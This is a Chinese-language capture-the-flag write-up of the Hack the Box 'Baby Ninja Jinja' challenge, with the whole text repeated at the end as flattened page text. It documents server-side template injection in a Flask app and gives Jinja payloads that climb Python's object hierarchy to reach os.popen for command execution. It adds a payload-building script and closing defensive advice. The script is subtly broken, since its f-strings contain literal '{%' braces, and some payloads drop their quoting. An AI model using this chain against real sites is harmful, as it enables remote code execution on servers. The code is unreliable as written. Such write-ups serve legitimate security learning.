Hack the Box:Baby Ninja Jinja解题经历
字数 1168 2025-08-15 21:32:00

Hack the Box: Baby Ninja Jinja 解题教学文档

0x00 题目概述

这是一个基于 Flask 框架的 Web 安全挑战,主要考察 SSTI (Server-Side Template Injection) 漏洞利用技术。题目通过注释暴露了 /debug 接口,提供了源码审计的机会。

0x01 漏洞发现

  1. 初始测试:输入双引号 " 触发 Flask 的 debug 页面,表明存在潜在注入点
  2. 源码获取:通过访问 /debug 路由获取应用程序源码
  3. 关键漏洞点
    • SQL 注入点:query_db('INSERT INTO ninjas (name) VALUES ("%s")' % name)
    • SSTI 漏洞:通过 render_template_string 渲染用户可控输入

0x02 代码审计分析

主要路由

  • /:接受 name 参数,处理用户输入
  • /debug:提供源码查看功能

数据处理流程

  1. 用户输入 name 参数
  2. 通过不安全的方式插入数据库:INSERT INTO ninjas (name) VALUES ("%s")
  3. 从数据库读取数据时进行过滤:
    db.text_factory = (lambda s: s.replace('"', '&quot;').replace('<', '&lt;').replace('>', '&gt;'))
    
  4. 使用 render_template_string 渲染模板

过滤机制

  • 替换了 {{}} 等模板标记
  • 过滤了单引号、双引号、尖括号等特殊字符

0x03 漏洞利用技术

绕过 SSTI 过滤

由于 {{ }} 被过滤,使用控制结构 {% %} 代替:

  1. 变量赋值{% set x = ... %}
  2. 访问内置函数:通过 Python 对象继承链访问危险函数

获取 chr 函数

由于直接使用 chr() 会被阻止,需要通过对象继承链获取:

{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}

构建字符串

使用 chr 函数拼接字符串:

def get_chr(s):
    res = []
    for i in s:
        res.append('chr({})'.format(ord(i)))
    return "%2b".join(res)

导入模块

通过 __import__ 动态导入所需模块:

{% set flask=().__class__.__base__.__subclasses__()[59].__init__.__globals__[builtins][__import__](flask) %}

执行命令

结合 os 模块执行系统命令:

{% set os=().__class__.__base__.__subclasses__()[59].__init__.__globals__[builtins][__import__](os) %}
{% set a=flask.abort(flask.Response(os.popen(cat flag_P54ed).read())) %}

0x04 完整利用流程

  1. 构造 chr 函数

    {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
    
  2. 导入 flask 模块

    {% set flask=().__class__.__base__.__subclasses__()[59].__init__.__globals__[builtins][__import__](flask) %}
    
  3. 导入 os 模块

    {% set os=().__class__.__base__.__subclasses__()[59].__init__.__globals__[builtins][__import__](os) %}
    
  4. 执行命令并返回结果

    {% set a=flask.abort(flask.Response(os.popen(cat flag_P54ed).read())) %}
    

0x05 自动化脚本

def get_chr(s):
    res = []
    for i in s:
        res.append('chr({})'.format(ord(i)))
    return "%2b".join(res)

def get_payload():
    define_chr = f"{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}"
    define_flask = f'{% set flask=().__class__.__base__.__subclasses__()[59].__init__.__globals__[{get_chr("__builtins__")}][{get_chr("__import__")}]({get_chr("flask")}) %}'
    define_os = f'{% set os=().__class__.__base__.__subclasses__()[59].__init__.__globals__[{get_chr("__builtins__")}][{get_chr("__import__")}]({get_chr("os")}) %}'
    payload = f'{% set a=flask.abort(flask.Response(os.popen({get_chr("cat flag_P54ed")}).read())) %}'
    return define_chr + define_flask + define_os + payload

0x06 防御建议

  1. 避免使用 render_template_string:尽量使用预编译的模板
  2. 严格过滤用户输入:不仅过滤 {{ }},还应过滤 {% %}
  3. 使用安全的数据库操作:使用参数化查询而非字符串拼接
  4. 限制调试接口:生产环境不应暴露 /debug 路由
  5. 使用沙箱环境:限制模板引擎的执行权限

0x07 总结

本题展示了 Flask 应用中 SSTI 漏洞的完整利用链,通过 Python 对象继承链获取危险函数,绕过字符过滤,最终实现命令执行。关键在于理解 Flask 模板引擎的工作机制和 Python 的对象模型。

Hack the Box: Baby Ninja Jinja 解题教学文档 0x00 题目概述 这是一个基于 Flask 框架的 Web 安全挑战,主要考察 SSTI (Server-Side Template Injection) 漏洞利用技术。题目通过注释暴露了 /debug 接口,提供了源码审计的机会。 0x01 漏洞发现 初始测试 :输入双引号 " 触发 Flask 的 debug 页面,表明存在潜在注入点 源码获取 :通过访问 /debug 路由获取应用程序源码 关键漏洞点 : SQL 注入点: query_db('INSERT INTO ninjas (name) VALUES ("%s")' % name) SSTI 漏洞:通过 render_template_string 渲染用户可控输入 0x02 代码审计分析 主要路由 / :接受 name 参数,处理用户输入 /debug :提供源码查看功能 数据处理流程 用户输入 name 参数 通过不安全的方式插入数据库: INSERT INTO ninjas (name) VALUES ("%s") 从数据库读取数据时进行过滤: 使用 render_template_string 渲染模板 过滤机制 替换了 {{ 和 }} 等模板标记 过滤了单引号、双引号、尖括号等特殊字符 0x03 漏洞利用技术 绕过 SSTI 过滤 由于 {{ }} 被过滤,使用控制结构 {% %} 代替: 变量赋值 : {% set x = ... %} 访问内置函数 :通过 Python 对象继承链访问危险函数 获取 chr 函数 由于直接使用 chr() 会被阻止,需要通过对象继承链获取: 构建字符串 使用 chr 函数拼接字符串: 导入模块 通过 __import__ 动态导入所需模块: 执行命令 结合 os 模块执行系统命令: 0x04 完整利用流程 构造 chr 函数 : 导入 flask 模块 : 导入 os 模块 : 执行命令并返回结果 : 0x05 自动化脚本 0x06 防御建议 避免使用 render_template_string :尽量使用预编译的模板 严格过滤用户输入 :不仅过滤 {{ }} ,还应过滤 {% %} 使用安全的数据库操作 :使用参数化查询而非字符串拼接 限制调试接口 :生产环境不应暴露 /debug 路由 使用沙箱环境 :限制模板引擎的执行权限 0x07 总结 本题展示了 Flask 应用中 SSTI 漏洞的完整利用链,通过 Python 对象继承链获取危险函数,绕过字符过滤,最终实现命令执行。关键在于理解 Flask 模板引擎的工作机制和 Python 的对象模型。